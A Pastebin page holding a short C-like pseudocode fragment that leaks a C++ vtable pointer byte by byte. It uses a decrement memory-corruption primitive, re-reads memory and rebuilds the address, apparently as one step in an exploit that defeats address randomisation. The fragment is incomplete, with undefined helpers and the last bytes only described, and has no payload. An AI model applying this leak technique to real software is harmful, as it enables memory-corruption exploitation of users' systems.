Advertisement
Guest User

Untitled

a guest
Jun 19th, 2013
7,658
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.53 KB | None | 0 0
  1.        vtable = ReadMem();
  2.  
  3.         old_fst_byte = vtable[0];
  4.         old_snd_byte = vtable[1];
  5.         old_trd_byte = vtable[2];
  6.         old_frt_byte = vtable[3];
  7.  
  8.         // This "dec" decrements on the offset of the vtable where the
  9. second byte is
  10.         dec(vtable[1]);
  11.         vtable = ReadMem();
  12.  
  13.         // Check if we actually dec the second byte
  14.         if (vtable[1] != old_snd_byte){
  15.             // If vtable[1] is different than the old_snd_byte, it
  16. means that we decremented the real second byte
  17.             // Else vtable[1] would be the next readeable byte (<0x7f)
  18.             snd_byte = old_snd_byte;
  19.         }
  20.         else{
  21.             // We didn't actually read the second byte, this means
  22. it's value is
  23.            // greater than 7f, so we dec 7e to the value and then
  24. read the
  25.            // final value and add the difference.
  26.  
  27.            // We did a dec already, so count starts on 1
  28.            count = 1;
  29.            for(l=0;l<0x3f;l++)
  30.            {
  31.                    dec(vtable[1]);
  32.                    count++;
  33.            }
  34.            vtable = ReadMem();
  35.            snd_byte = vtable[1] + count*2;
  36.        }
  37.  
  38.        // We will do the exactly same thing for the third and fourth
  39. byte.
  40.        // And of course we will check with the corresponding old_byte
  41.  
  42.        // And then of course we calculate the desired vtable <span class="moz-smiley-s1" title=":)"></span>
  43.        leaked_vtable = (old_fst_byte &lt;&lt; 24) | (snd_byte &lt;&lt; 16) |
  44. (trd_byte &lt;&lt; 8) | frt_byte;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement